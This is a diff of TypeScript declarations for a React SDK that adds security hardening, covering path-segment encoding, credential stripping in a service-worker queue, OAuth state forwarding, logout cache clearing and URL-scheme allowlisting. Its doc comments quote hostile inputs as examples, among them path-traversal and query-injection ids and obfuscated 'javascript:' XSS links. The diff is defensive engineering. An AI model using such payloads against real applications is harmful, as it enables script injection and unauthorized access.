+ * Numbers are never prefixed: a `number` cell, or a text field that is only a
5712
+ * number (`"-5"`, `"-1.234,56"`, `"+42"`, `"1e-7"`), cannot be a formula, and
5713
+ * neither can a lone `"-"`, which is left alone too. Pass
5714
+ * `false` when the file feeds another system's importer rather than a person's
5715
+ * spreadsheet, so the bytes round-trip unchanged.
5716
+ */
5717
+ neutralizeFormulas?: boolean;
5406
5718
  }
5407
5719
 
5408
5720
  /** Cursor-paginated response envelope (`CursorPaginationSchema[T]`). */
@@ -5530,6 +5842,11 @@ export declare interface DataProviderOptions {
5530
5842
  /**
5531
5843
  * Build the request path for a resource (and optional id).
5532
5844
  * Default: `id == null ? "/" + resource : "/" + resource + "/" + id`.
5845
+ *
5846
+ * Since 0.77.0 `id` arrives already passed through {@link encodeIdSegment}:
5847
+ * percent-encoded as one path segment, and never `""`, `"."` or `".."`. An
5848
+ * override therefore interpolates it as-is — encoding it again would turn
5849
+ * `%2F` into `%252F`.
5533
5850
  */
5534
5851
  buildPath?: (resource: string, id?: string | number) => string;
5535
5852
  }
@@ -6013,6 +6330,16 @@ export declare const DEFAULT_CHUNK_SIZE: number;
6013
6330
  */
6014
6331
  export declare const DEFAULT_CIRCUITY_FACTOR = 1.3;
6015
6332
 
6333
+ /**
6334
+ * Header names treated as credentials by the service-worker helpers: never
6335
+ * persisted by `installBackgroundSync`, and a request carrying any of them
6336
+ * bypasses `installRuntimeCache` unless the route opts in. `Cookie` and
6337
+ * `Proxy-Authorization` are listed for completeness although the browser
6338
+ * forbids scripts from setting them — a cookie session is invisible to the
6339
+ * worker, which is why it depends on `Cache-Control` and `clearSessionData()`.
6340
+ */
6341
+ export declare const DEFAULT_CREDENTIAL_HEADERS: readonly string[];
6342
+
6016
6343
  /**
6017
6344
  * Default cookie the CSRF token is read from.
6018
6345
  *
@@ -6414,7 +6741,8 @@ export declare type DocumentVisibility = "visible" | "hidden";
6414
6741
  * @param rows - The rows to export.
6415
6742
  * @param columns - Columns, in the order they should appear.
6416
6743
  * @param fileName - File name offered to the user. Default `"export.csv"`.
6417
- * @param options - Delimiter and BOM, forwarded to {@link toCsv}.
6744
+ * @param options - Delimiter, BOM and formula neutralization, forwarded to
6745
+ * {@link toCsv}.
6418
6746
  * @returns A promise that resolves once the share or download completes.
6419
6747
  */
6420
6748
  export declare function downloadCsv<T>(rows: readonly T[], columns: readonly CsvColumn<T>[], fileName?: string, options?: CsvOptions): Promise<void>;
@@ -6603,6 +6931,34 @@ export declare interface EmptyStateProps {
6603
6931
  className?: string;
6604
6932
  }
6605
6933
 
6934
+ /**
6935
+ * Encode a record id as exactly one URL path segment.
6936
+ *
6937
+ * The data provider calls this on every id before building a path, because the
6938
+ * id is the one part of the URL that may come from outside the app — a search
6939
+ * param, a hash, a decoded route param, a value another user stored. Left raw,
6940
+ * `"../../admin/users"` walks the authenticated request out of the resource,
6941
+ * `"7?role=admin"` injects query params and `"7#x"` truncates the path, all
6942
+ * while the request still carries the bearer token (#438).
6943
+ *
6944
+ * `encodeURIComponent` neutralises `/`, `?`, `#` and `%`. It leaves `.` alone,
6945
+ * so `""`, `"."` and `".."` are rejected instead: the URL parser resolves them
6946
+ * as dot-segments whatever the encoding, and none of them names a record.
6947
+ * `null` and `undefined` — what an untyped caller or a not-yet-loaded route
6948
+ * param hands over — are rejected too, since `String()` would turn them into
6949
+ * the literal segments `"null"` and `"undefined"`.
6950
+ *
6951
+ * @param id - The record id, as handed to the provider.
6952
+ * @returns The percent-encoded segment, safe to interpolate between two `/`.
6953
+ * @throws {TypeError} When the id is `null`, `undefined`, `""`, `"."` or `".."`.
6954
+ *
6955
+ * @example
6956
+ * encodeIdSegment(7); // "7"
6957
+ * encodeIdSegment("a/b?x=1"); // "a%2Fb%3Fx%3D1"
6958
+ * encodeIdSegment(".."); // throws TypeError
6959
+ */
6960
+ export declare function encodeIdSegment(id: string | number): string;
6961
+
6606
6962
  /**
6607
6963
  * Encode text into a QR matrix.
6608
6964
  *
@@ -6784,6 +7140,53 @@ export declare interface EventStreamMessage<T> {
6784
7140
 
6785
7141
  export declare type EventStreamStatus = "idle" | "connecting" | "open" | "closed" | "error";
6786
7142
 
7143
+ /**
7144
+ * Finish a `tempest-fastapi-sdk` social login from the SPA's callback route.
7145
+ *
7146
+ * Reads the redirect with {@link readOAuthCallbackParams} and forwards `code`
7147
+ * **and** `state` to `GET {prefix}/oauth/{provider}/callback`, where the backend
7148
+ * compares the state against its `HttpOnly` cookie, redeems the code and
7149
+ * answers with the same JWT pair `POST {prefix}/login` returns.
7150
+ *
7151
+ * The request goes with `credentials: "include"` because the state cookie is
7152
+ * the other half of the comparison; with `skipAuth`, since there is no session
7153
+ * yet and a `401` here means a forged or expired callback, not an expired token
7154
+ * to refresh; and with `retry: false`, because the backend clears the state
7155
+ * cookie on the first attempt and a code redeems once.
7156
+ *
7157
+ * Pass it as the `exchange` of {@link useOAuthCallback}, which runs it once even
7158
+ * under StrictMode.
7159
+ *
7160
+ * @param api - The client from `createApiClient` (or `createTempestAuth().api`).
7161
+ * @param provider - The provider key registered on the backend (e.g. `"google"`).
7162
+ * @param options - Router prefix, the query string to read, abort signal.
7163
+ * @returns The backend's login response.
7164
+ * @throws {OAuthCallbackError} Before any request, when the redirect carries
7165
+ * `error` or lacks `state` or `code`.
7166
+ *
7167
+ * @example
7168
+ * const { loading, error } = useOAuthCallback<LoginResponse>({
7169
+ * exchange: () => exchangeOAuthCallback<LoginResponse>(api, "google"),
7170
+ * onSuccess: () => navigate("/", { replace: true }),
7171
+ * });
7172
+ */
7173
+ export declare function exchangeOAuthCallback<T>(api: ApiClient, provider: string, options?: ExchangeOAuthCallbackOptions): Promise<T>;
7174
+
7175
+ /** Options for {@link exchangeOAuthCallback}. */
7176
+ export declare interface ExchangeOAuthCallbackOptions {
7177
+ /**
7178
+ * Path the backend's auth router is mounted at — the `prefix` given to
7179
+ * `make_auth_router`. Default: `"/auth"`.
7180
+ */
7181
+ prefix?: string;
7182
+ /** Where to read the provider's redirect from. Default: `window.location.search`. */
7183
+ search?: string | URLSearchParams;
7184
+ /** Forwarded to {@link readOAuthCallbackParams}. Default: scrub when reading `window.location`. */
7185
+ scrubUrl?: boolean;
7186
+ /** Abort the exchange. */
7187
+ signal?: AbortSignal;
7188
+ }
7189
+
6787
7190
  /**
6788
7191
  * Grow a bounding box outward by `ratio` of its own span on every side, with a
6789
7192
  * small absolute floor so a single-point (zero-span) box still gets padding.
@@ -8217,9 +8620,17 @@ export declare function inspectCaches(options?: {
8217
8620
 
8218
8621
  /**
8219
8622
  * Install the background-sync queue: on a failed mutating request, the request
8220
- * is serialized to IndexedDB and a sync is registered; the original fetch still
8221
- * rejects (so your app can show an offline state), and the request is replayed
8222
- * later when the network returns.
8623
+ * is serialized to IndexedDB (without its credential headers) and a sync is
8624
+ * registered; the original fetch still rejects (so your app can show an offline
8625
+ * state), and the request is replayed later when the network returns.
8626
+ *
8627
+ * Right after queueing, the worker asks the page that issued the request who is
8628
+ * signed in (`getPrincipal` on {@link provideBackgroundSyncCredentials}) and
8629
+ * stamps the entry with that owner, without delaying the rejection. The work is
8630
+ * handed to `event.waitUntil` synchronously, so the worker stays alive for it
8631
+ * in every engine. Without the Background Sync API (every non-Chromium
8632
+ * browser), the queue is drained opportunistically whenever a `GET` goes
8633
+ * through the worker.
8223
8634
  *
8224
8635
  * @tempest-limits empty-catch — `registration.sync.register` is unavailable on
8225
8636
  * every non-Chromium browser and fails on a revoked background-sync permission.
@@ -8229,20 +8640,6 @@ export declare function inspectCaches(options?: {
8229
8640
  */
8230
8641
  export declare function installBackgroundSync(options?: InstallBackgroundSyncOptions): void;
8231
8642
 
8232
- /**
8233
- * Background-sync helper: queue failed mutating requests (POST/PUT/PATCH/DELETE)
8234
- * while offline and replay them when connectivity returns. A dependency-free
8235
- * take on Workbox's `BackgroundSyncPlugin`, backed by a tiny IndexedDB queue.
8236
- *
8237
- * Import inside your `sw.ts`. Uses the Background Sync API (`registration.sync`)
8238
- * when available, and also replays opportunistically on the next request as a
8239
- * fallback for browsers without it (e.g. Safari).
8240
- *
8241
- * @example
8242
- * import { installBackgroundSync } from "tempest-react-sdk/sw";
8243
- *
8244
- * installBackgroundSync({ match: (url) => url.pathname.startsWith("/api/") });
8245
- */
8246
8643
  /** Options for {@link installBackgroundSync}. */
8247
8644
  export declare interface InstallBackgroundSyncOptions {
8248
8645
  /**
@@ -8262,6 +8659,36 @@ export declare interface InstallBackgroundSyncOptions {
8262
8659
  * thread with {@link registerPeriodicSync}. Default `${queueName}-periodic`.
8263
8660
  */
8264
8661
  periodicSyncTag?: string;
8662
+ /**
8663
+ * Header names stripped before a request is persisted — and stripped again on
8664
+ * replay, so entries written by an older version never go out with the
8665
+ * credential they stored. Default {@link DEFAULT_CREDENTIAL_HEADERS}; extend it
8666
+ * for a custom credential header (`[...DEFAULT_CREDENTIAL_HEADERS,
8667
+ * "x-tenant-key"]`). Passing `[]` restores the pre-0.77 behavior of
8668
+ * persisting and replaying every header, credentials included.
8669
+ */
8670
+ credentialHeaders?: readonly string[];
8671
+ /**
8672
+ * Prepare each queued request right before it is replayed: return the
8673
+ * request to send (typically with the current credentials applied) or
8674
+ * `null` to drop the entry for good. A thrown error keeps the entry pending.
8675
+ * The context carries the entry's owner, so a custom hook can apply the
8676
+ * same rule as the default.
8677
+ *
8678
+ * Default: an entry with no stripped credentials and no bound owner is
8679
+ * replayed as-is. The others ask every open window client in parallel (see
8680
+ * {@link provideBackgroundSyncCredentials}) and pick the answer that fits:
8681
+ * - `"bound"`: the answer whose owner matches; none among valid answers →
8682
+ * dropped, never sent anonymously or as somebody else;
8683
+ * - `"unknown"`: only an answer without a principal (an app that does not use
8684
+ * `getPrincipal`); every answer has one → dropped;
8685
+ * - `"unbound"`: any answer, preferring one without a principal.
8686
+ * Then `null` headers drop a credentialed entry, an answer that lacks one of
8687
+ * the stripped headers keeps it pending, and only the stripped names are
8688
+ * re-applied. No valid answer at all keeps it pending until
8689
+ * `maxRetentionMinutes` (and warns once per replay in development builds).
8690
+ */
8691
+ beforeReplay?: (request: Request, context: BackgroundSyncReplayContext) => Request | null | Promise<Request | null>;
8265
8692
  }
8266
8693
 
8267
8694
  /**
@@ -8494,6 +8921,14 @@ export declare interface InstallPushHandlerOptions {
8494
8921
  * given runtime strategies. Non-matching requests are left untouched (no
8495
8922
  * `respondWith`), so a later {@link installPrecache} can handle them.
8496
8923
  *
8924
+ * A request carrying a credential header (`Authorization`, `X-Api-Key`, … — the
8925
+ * route's `credentialHeaders`) is also left untouched unless its route sets
8926
+ * `cacheAuthenticated`, and a response with `Cache-Control: no-store`
8927
+ * (or `private`, without that opt-in) is served but never stored. `maxAgeSeconds`
8928
+ * applies to every read, including the offline fallback: an expired entry is a
8929
+ * miss, never a last resort. Under `rangeRequests`, the full resource is cached
8930
+ * once (the `Range` header stripped) and each range is sliced from it.
8931
+ *
8497
8932
  * Register this BEFORE `installPrecache` so specific routes win over the
8498
8933
  * precache catch-all.
8499
8934
  *
@@ -10639,6 +11074,38 @@ export declare interface NProgressState {
10639
11074
  active: boolean;
10640
11075
  }
10641
11076
 
11077
+ /**
11078
+ * A provider redirect that cannot be exchanged for a session.
11079
+ *
11080
+ * Thrown before any request leaves the browser, so a forged or truncated
11081
+ * callback never reaches the backend's exchange route.
11082
+ */
11083
+ export declare class OAuthCallbackError extends Error {
11084
+ /** Which part of the callback was wrong. */
11085
+ readonly reason: OAuthCallbackErrorReason;
11086
+ /** The provider's `error` param (e.g. `"access_denied"`), when `reason` is `"provider_error"`. */
11087
+ readonly providerError?: string;
11088
+ /**
11089
+ * @param reason - Which part of the callback was wrong.
11090
+ * @param providerError - The provider's `error` param, when it sent one.
11091
+ */
11092
+ constructor(reason: OAuthCallbackErrorReason, providerError?: string);
11093
+ }
11094
+
11095
+ /** Why {@link readOAuthCallbackParams} refused a callback URL. */
11096
+ export declare type OAuthCallbackErrorReason = "provider_error" | "missing_state" | "missing_code";
11097
+
11098
+ /** The two values a provider appends to the redirect URI on success. */
11099
+ export declare interface OAuthCallbackParams {
11100
+ /** Single-use authorization code. */
11101
+ code: string;
11102
+ /**
11103
+ * The CSRF `state` the backend minted when the flow started. Forwarded
11104
+ * verbatim: only the backend holds the value it must match.
11105
+ */
11106
+ state: string;
11107
+ }
11108
+
10642
11109
  export declare interface OAuthCredential {
10643
11110
  /** Provider-issued ID token (JWT). */
10644
11111
  idToken: string;
@@ -10720,19 +11187,68 @@ export declare interface OfflineIndicatorProps extends HTMLAttributes<HTMLDivEle
10720
11187
  children?: ReactNode;
10721
11188
  }
10722
11189
 
11190
+ /** Options for {@link OfflineQueryPersistence.clear}. */
11191
+ export declare interface OfflineQueryClearOptions {
11192
+ /**
11193
+ * Also clear the in-memory `QueryClient` (`queryClient.clear()`) once
11194
+ * persistence has stopped and the snapshot is deleted — the one-call logout.
11195
+ * Default `false`: the client belongs to the app, which may want to keep
11196
+ * public queries (a catalog, feature flags) across sessions and drop only
11197
+ * the user-scoped keys with `removeQueries`.
11198
+ */
11199
+ resetClient?: boolean;
11200
+ }
11201
+
10723
11202
  /** Handle returned by {@link persistQueryClientOffline}. */
10724
11203
  export declare interface OfflineQueryPersistence {
10725
11204
  /**
10726
11205
  * Load the persisted snapshot into the `QueryClient`. Call once on boot,
10727
- * before rendering queries, so cached data is available offline.
11206
+ * before rendering queries, so cached data is available offline. A no-op
11207
+ * once {@link OfflineQueryPersistence.clear} has been called.
10728
11208
  */
10729
11209
  restore: () => Promise<void>;
10730
- /** Write the current cache snapshot immediately (bypassing the throttle). */
11210
+ /**
11211
+ * Write the current cache snapshot immediately (bypassing the throttle). A
11212
+ * no-op once {@link OfflineQueryPersistence.clear} has been called.
11213
+ */
10731
11214
  flush: () => Promise<void>;
10732
- /** Stop persisting and drop the pending write. */
11215
+ /** Stop persisting and drop the pending write. Idempotent. */
10733
11216
  unsubscribe: () => void;
10734
- /** Delete the persisted snapshot (e.g. on logout). */
10735
- clear: () => Promise<void>;
11217
+ /**
11218
+ * End the persisted session (e.g. on logout) and delete the snapshot.
11219
+ *
11220
+ * Terminal for this handle: it cancels the pending throttled write, stops
11221
+ * persisting cache changes, waits for any write already in flight and only
11222
+ * then deletes the row — so neither a write pending in the last throttle
11223
+ * window nor cache activity after logout (the next user's first query) can
11224
+ * re-persist the previous user's responses. Afterwards `restore`/`flush`
11225
+ * are no-ops; to persist a new session, call
11226
+ * {@link persistQueryClientOffline} again after login. In a dev build
11227
+ * (`isDevBuild()`), the first `restore`, `flush` or added/updated query on
11228
+ * an ended handle logs one `console.warn` saying so, because a handle kept
11229
+ * at module scope would otherwise stop persisting in silence.
11230
+ *
11231
+ * Ordered against other handles on the same `databaseName` + `key`: until
11232
+ * this clear settles, a new handle's `restore()` and writes wait for it, so
11233
+ * a handle created on login without awaiting the logout neither hydrates
11234
+ * the previous snapshot nor has its first write deleted.
11235
+ *
11236
+ * If the delete rejects, `resetClient` still clears the client and the
11237
+ * rejection reaches the caller.
11238
+ *
11239
+ * The in-memory `QueryClient` is cleared only with `resetClient: true`, and
11240
+ * then only after persistence has stopped, so the reset itself cannot
11241
+ * trigger a write. It is opt-in because the app owns the client and the
11242
+ * shape of its logout: it may keep public queries and drop only the
11243
+ * user-scoped keys with `removeQueries`. Because persistence is already
11244
+ * off, that manual call can come before or after this one.
11245
+ *
11246
+ * Idempotent and safe to call concurrently; every call deletes the row
11247
+ * again.
11248
+ *
11249
+ * @param options - `resetClient` also clears the in-memory `QueryClient`.
11250
+ */
11251
+ clear: (options?: OfflineQueryClearOptions) => Promise<void>;
10736
11252
  }
10737
11253
 
10738
11254
  /** Options for {@link persistQueryClientOffline}. */
@@ -11697,7 +12213,23 @@ export declare interface PeerMesh {
11697
12213
  applyQuality: (quality: MeshQuality) => Promise<void>;
11698
12214
  /** Replace the ICE servers used for links opened from now on. */
11699
12215
  setIceServers: (servers: RTCIceServer[]) => void;
11700
- /** Close every link and report `closed`. */
12216
+ /**
12217
+ * Close every link, forget the local tracks and report `closed` — for good.
12218
+ *
12219
+ * Stopping is terminal. The signalling socket usually outlives the call, so
12220
+ * an offer still in flight from a former participant, or from anyone the
12221
+ * server relays to this user, keeps reaching {@link PeerMesh.accept} after
12222
+ * the hang-up. A stopped mesh drops it: no connection is opened, nothing is
12223
+ * answered and no track is published, so a call that reports `closed` never
12224
+ * sends the microphone or camera again. The same holds for `addPeer`,
12225
+ * `setLocalTrack` and `applyQuality`, and for every negotiation that was
12226
+ * already awaiting the browser when `stop()` ran. Calling it twice is a
12227
+ * no-op.
12228
+ *
12229
+ * The tracks themselves are not stopped: they belong to the caller, who may
12230
+ * still be showing them in a preview or reusing them on the next call. To
12231
+ * join again, create a new mesh.
12232
+ */
11701
12233
  stop: () => void;
11702
12234
  /** The peers as the mesh currently sees them. */
11703
12235
  readonly peers: MeshPeer[];
@@ -11820,11 +12352,18 @@ export declare interface PermissionsFromTokenOptions {
11820
12352
  * @param options - The client plus storage/throttle configuration.
11821
12353
  * @returns A handle with `restore`, `flush`, `clear` and `unsubscribe`.
11822
12354
  *
12355
+ * `clear()` is terminal for the handle (see {@link OfflineQueryPersistence.clear}):
12356
+ * a logout that only deleted the row used to be undone by the pending write or
12357
+ * by the next cache event, restoring the previous user's data on the next boot
12358
+ * (#440).
12359
+ *
11823
12360
  * @example
11824
12361
  * const persistence = persistQueryClientOffline({ queryClient });
11825
- * await persistence.restore(); // before first render
11826
- * // ... later, on logout:
11827
- * await persistence.clear();
12362
+ * await persistence.restore();
12363
+ *
12364
+ * async function logout(): Promise<void> {
12365
+ * await persistence.clear({ resetClient: true });
12366
+ * }
11828
12367
  */
11829
12368
  export declare function persistQueryClientOffline(options: OfflineQueryPersistenceOptions): OfflineQueryPersistence;
11830
12369
 
@@ -12170,6 +12709,57 @@ export declare type ProgressVariant = "primary" | "success" | "warning" | "dange
12170
12709
  */
12171
12710
  export declare function projectMercator(coord: Coordinate): MercatorPoint;
12172
12711
 
12712
+ /**
12713
+ * Answer the worker's questions about queued requests (see `beforeReplay` on
12714
+ * {@link installBackgroundSync}). Install it once in every page, next to your
12715
+ * auth setup; it reads the token at replay time, so the queue never has to store
12716
+ * it. Without it, a queued request that carried a credential header is never
12717
+ * replayed.
12718
+ *
12719
+ * `getHeaders` must return **every** credential header the app sends (the worker
12720
+ * keeps an entry pending when one it stripped is missing), or `null` when there
12721
+ * is no session — the worker then drops the entry instead of replaying it
12722
+ * anonymously. A throw from `getHeaders` or `getPrincipal` is answered as an
12723
+ * explicit `{ error: true }`. The worker only applies headers whose names the
12724
+ * original request carried, so returning `Authorization` for every URL never
12725
+ * leaks it to a URL that did not receive it in the first place.
12726
+ *
12727
+ * Pass `getPrincipal` to bind each entry to whoever queued it: the worker asks
12728
+ * the issuing tab right after queueing, asks every tab again before replaying,
12729
+ * and drops the entry when no signed-in tab is its owner.
12730
+ *
12731
+ * @param getHeaders - Resolves the headers for one queued request at replay.
12732
+ * @param options - `getPrincipal` binds entries to their owner.
12733
+ * @returns A function that removes the listener. A no-op outside the browser.
12734
+ *
12735
+ * @example
12736
+ * import { provideBackgroundSyncCredentials } from "tempest-react-sdk/sw";
12737
+ *
12738
+ * const stop = provideBackgroundSyncCredentials(
12739
+ * () => {
12740
+ * const token = localStorage.getItem("token");
12741
+ * return token ? { Authorization: `Bearer ${token}` } : null;
12742
+ * },
12743
+ * { getPrincipal: () => localStorage.getItem("userId") },
12744
+ * );
12745
+ */
12746
+ export declare function provideBackgroundSyncCredentials(getHeaders: BackgroundSyncCredentialsProvider, options?: ProvideBackgroundSyncCredentialsOptions): () => void;
12747
+
12748
+ /** Options for {@link provideBackgroundSyncCredentials}. */
12749
+ export declare interface ProvideBackgroundSyncCredentialsOptions {
12750
+ /**
12751
+ * Who is signed in right now — a stable, non-secret id such as the user id;
12752
+ * `null`/`undefined` when nobody is. Read when a request is queued and again
12753
+ * when it is replayed: an entry is only sent while the same principal is
12754
+ * signed in, and dropped otherwise, so a mutation queued by one account is
12755
+ * never sent with another account's credentials even when the app forgets
12756
+ * `clearSessionData()` on logout. Only a SHA-256 fingerprint reaches the
12757
+ * queue, never the value itself. A throw is answered as an explicit error,
12758
+ * which leaves the owner unknown (fail closed).
12759
+ */
12760
+ getPrincipal?: () => string | null | undefined | Promise<string | null | undefined>;
12761
+ }
12762
+
12173
12763
  /**
12174
12764
  * One page of the server delta pull.
12175
12765
  *
@@ -12568,6 +13158,50 @@ export declare function readAvailableOutgoingKbps(report: RTCStatsReport): numbe
12568
13158
  */
12569
13159
  export declare function readDeviceProfile(): DeviceProfile;
12570
13160
 
13161
+ /** Options for {@link readOAuthCallbackParams}. */
13162
+ export declare interface ReadOAuthCallbackOptions {
13163
+ /**
13164
+ * Remove `code` and `state` from the address bar after reading them, with
13165
+ * `history.replaceState` — other params, the hash and `history.state` are
13166
+ * kept. Default: `true` when reading `window.location`, `false` when an
13167
+ * explicit `search` is passed (there is no URL of yours to clean then).
13168
+ */
13169
+ scrubUrl?: boolean;
13170
+ }
13171
+
13172
+ /**
13173
+ * Read `code` and `state` from a provider's redirect, refusing an incomplete one.
13174
+ *
13175
+ * The `state` is what ties the callback to the browser that started the flow.
13176
+ * Without it, an attacker sends the victim to `/callback?code=<attacker's code>`
13177
+ * and the victim ends up signed in to the attacker's account — a login CSRF.
13178
+ * The old recipe read only `code` and posted `{ code }`, so the `state` never
13179
+ * reached a backend that could compare it (#449). This reader makes dropping it
13180
+ * impossible: it returns both or throws.
13181
+ *
13182
+ * It does **not** compare the state. In the `tempest-fastapi-sdk` flow the
13183
+ * backend mints it in `GET {prefix}/oauth/{provider}/login`, keeps it in an
13184
+ * `HttpOnly` cookie bound to the provider, and checks it with
13185
+ * `hmac.compare_digest` in the callback (single use, `AUTH_OAUTH_STATE_TTL_SECONDS`
13186
+ * expiry). The browser cannot read that cookie, so any check here would be
13187
+ * theatre; forwarding the value is the browser's whole job.
13188
+ *
13189
+ * When it reads `window.location`, it also removes `code` and `state` from the
13190
+ * address bar (see {@link ReadOAuthCallbackOptions.scrubUrl}) — before
13191
+ * validating, so a refused callback is cleaned too.
13192
+ *
13193
+ * @param search - The query string or params to read. Default: `window.location.search`.
13194
+ * @param options - Whether to scrub the URL.
13195
+ * @returns The `code` and `state`.
13196
+ * @throws {OAuthCallbackError} `"provider_error"` when the provider sent `error`
13197
+ * (the user declined, for instance), `"missing_state"` without `state`,
13198
+ * `"missing_code"` without `code`.
13199
+ *
13200
+ * @example
13201
+ * const { code, state } = readOAuthCallbackParams("?code=4%2F0A&state=xyz");
13202
+ */
13203
+ export declare function readOAuthCallbackParams(search?: string | URLSearchParams, options?: ReadOAuthCallbackOptions): OAuthCallbackParams;
13204
+
12571
13205
  /**
12572
13206
  * Read what the encoder says is holding the picture back.
12573
13207
  *
@@ -12846,6 +13480,26 @@ export declare interface ReorderPayload {
12846
13480
  to: number;
12847
13481
  }
12848
13482
 
13483
+ /**
13484
+ * What {@link ApiClientConfig.refresh} and {@link ApiClientConfig.onUnauthorized}
13485
+ * learn about the attempt that came back `401`: the credential and the session it
13486
+ * left under, both read when that attempt was sent.
13487
+ */
13488
+ export declare interface RequestAuthContext {
13489
+ /**
13490
+ * The access token the rejected attempt was sent with, read from `getToken`
13491
+ * when it left — or `null` when it carried none (`skipAuth`, no token yet,
13492
+ * or no `getToken` configured).
13493
+ */
13494
+ token: string | null;
13495
+ /**
13496
+ * What `getSessionEpoch` returned when the attempt left, or `null` when it
13497
+ * is not configured. Differing from the current value means the attempt
13498
+ * belongs to a session that has since ended.
13499
+ */
13500
+ epoch: number | null;
13501
+ }
13502
+
12849
13503
  export declare interface RequestOptions extends Omit<RequestInit, "body"> {
12850
13504
  body?: unknown;
12851
13505
  params?: Record<string, string | number | boolean | undefined | null>;
@@ -13368,6 +14022,38 @@ export declare interface RuntimeRoute {
13368
14022
  * resource is cached once (the `Range` header is stripped before caching).
13369
14023
  */
13370
14024
  rangeRequests?: boolean;
14025
+ /**
14026
+ * Opt in to caching requests that carry a credential header (see
14027
+ * `credentialHeaders`), and responses marked `Cache-Control: private`.
14028
+ * Default `false`.
14029
+ *
14030
+ * Cache Storage is keyed by URL and outlives the session: without this
14031
+ * gate, a `GET /api/me` stored for one account was served to the next
14032
+ * account on the same browser whenever the network failed or exceeded
14033
+ * `networkTimeoutSeconds` (reproduced in Chromium 153, 11/10/2026). With
14034
+ * the default, credentialed requests bypass the route entirely and reach
14035
+ * the network as if no service worker were installed.
14036
+ *
14037
+ * When enabled, every stored entry gets `Vary` on each credential header the
14038
+ * request carried, so the Cache API only matches it for the same credential —
14039
+ * another account (or no account) misses instead of reading it. A token
14040
+ * rotated while online simply repopulates the entry. Pair it with
14041
+ * `clearSessionData()` on logout, which removes the entries themselves.
14042
+ * `Cache-Control: no-store` is never cached, opt-in or not.
14043
+ *
14044
+ * A cookie session is invisible here: the worker cannot see `Cookie`, and
14045
+ * gating on `request.credentials` would switch off caching for every
14046
+ * same-origin image and font. A cookie-authenticated API stays private only
14047
+ * through `Cache-Control: private`/`no-store` on its responses and
14048
+ * `clearSessionData()` on logout.
14049
+ */
14050
+ cacheAuthenticated?: boolean;
14051
+ /**
14052
+ * Header names that mark a request as credentialed. Default
14053
+ * `DEFAULT_CREDENTIAL_HEADERS` (`authorization`, `x-api-key`,
14054
+ * `x-auth-token`, …) — the same list the background-sync queue strips.
14055
+ */
14056
+ credentialHeaders?: readonly string[];
13371
14057
  }
13372
14058
 
13373
14059
  /**
@@ -13392,7 +14078,7 @@ export declare interface RuntimeRoute {
13392
14078
  *
13393
14079
  * // Register specific routes FIRST so they win over the precache catch-all.
13394
14080
  * installRuntimeCache([
13395
- * { match: /\/api\//, strategy: "network-first", cacheName: "api", maxAgeSeconds: 300 },
14081
+ * { match: /\/api\//, strategy: "network-first", cacheName: "tempest-api", maxAgeSeconds: 300 },
13396
14082
  * ]);
13397
14083
  * installPrecache();
13398
14084
  */
@@ -13421,6 +14107,77 @@ export declare interface SafeAreaProps extends HTMLAttributes<HTMLDivElement> {
13421
14107
  children?: ReactNode;
13422
14108
  }
13423
14109
 
14110
+ /**
14111
+ * The URL to fetch or download an attachment from, or `null`.
14112
+ *
14113
+ * The allowlist is `http:`, `https:`, `blob:`, relative URLs and the raster
14114
+ * `data:image/` types {@link safeImageUrl} accepts. A file row is an `<a href
14115
+ * download>`, and the `download` attribute does not stop a `javascript:` href
14116
+ * from running (measured in Chromium 153 and Firefox 155, #447), so the scheme
14117
+ * has to be checked before the anchor exists. `mailto:`/`tel:` are left out: an
14118
+ * attachment is bytes, not a contact.
14119
+ *
14120
+ * The scheme is judged on the normalized form, but the URL comes back **as given**:
14121
+ * normalizing deletes every space, and `/files/relatório final.pdf` is a real
14122
+ * attachment path. Returning the original is safe because the normalization only
14123
+ * removes characters, a superset of what the browser's URL parser strips, so it
14124
+ * can never hide a scheme the browser would see.
14125
+ *
14126
+ * @example
14127
+ * const href = safeAttachmentUrl(attachment.url);
14128
+ * return href ? <a href={href} download>{name}</a> : <span>{name}</span>;
14129
+ *
14130
+ * @param raw - URL as the sender supplied it.
14131
+ * @returns A safe URL, or `null` when it must not reach an `href`.
14132
+ */
14133
+ export declare function safeAttachmentUrl(raw: string): string | null;
14134
+
14135
+ /**
14136
+ * The `src` to render for an image, or `null`.
14137
+ *
14138
+ * Accepts what {@link safeLinkUrl} accepts, plus raster `data:image/...;base64`.
14139
+ *
14140
+ * @example
14141
+ * safeImageUrl("data:image/png;base64,iVBORw0KGgo="); // kept
14142
+ * safeImageUrl("data:image/svg+xml;base64,PHN2Zz4="); // null
14143
+ *
14144
+ * @param raw - URL as written in the Markdown.
14145
+ * @returns A safe src, or `null`.
14146
+ */
14147
+ export declare function safeImageUrl(raw: string): string | null;
14148
+
14149
+ /**
14150
+ * URL vetting for every `href` and `src` the SDK fills from somebody else's data:
14151
+ * links and images in rendered Markdown, and the file row of a chat attachment.
14152
+ *
14153
+ * This is a security boundary. Text that arrives from a user — a comment, a ticket
14154
+ * description, a chat attachment — reaches the DOM as a real `href`, and
14155
+ * `javascript:alert(1)` in a link is script execution on click. React 19 replaces
14156
+ * a `javascript:` href with a throwing stub, but the peer range admits React 18,
14157
+ * which only warns: measured with react-dom 18.3.1, `renderToStaticMarkup` wrote
14158
+ * `href="javascript:..."` verbatim, and clicking it ran the script in Chromium 153
14159
+ * and Firefox 155 — `download` on the anchor did not stop it (#447). So the
14160
+ * scheme is checked against an allowlist rather than a blocklist: a blocklist has
14161
+ * to enumerate `javascript:`, `JaVaScRiPt:`, `java\tscript:`, `&#106;avascript:`
14162
+ * and whatever comes next, and misses the one nobody thought of.
14163
+ */
14164
+ /**
14165
+ * The href to render, or `null` when the URL must not be linked.
14166
+ *
14167
+ * Relative URLs (`/docs`, `./x`, `#anchor`, `foo/bar`) are kept: they cannot carry
14168
+ * a scheme, so they cannot execute anything, and dropping them would break every
14169
+ * in-app link. Protocol-relative (`//host/path`) inherits the page scheme and is
14170
+ * kept for the same reason.
14171
+ *
14172
+ * @example
14173
+ * safeLinkUrl("https://x.dev"); // "https://x.dev"
14174
+ * safeLinkUrl("java\tscript:alert(1)"); // null
14175
+ *
14176
+ * @param raw - URL as written in the Markdown.
14177
+ * @returns A safe href, or `null`.
14178
+ */
14179
+ export declare function safeLinkUrl(raw: string): string | null;
14180
+
13424
14181
  /** A schema exposing zod's `.safeParse`, including versions older than `~standard`. */
13425
14182
  export declare interface SafeParseSchemaLike<T> {
13426
14183
  readonly safeParse: (value: unknown) => {
@@ -13910,6 +14667,35 @@ export declare interface SequentialScaleOptions {
13910
14667
  ordinal?: boolean;
13911
14668
  }
13912
14669
 
14670
+ /**
14671
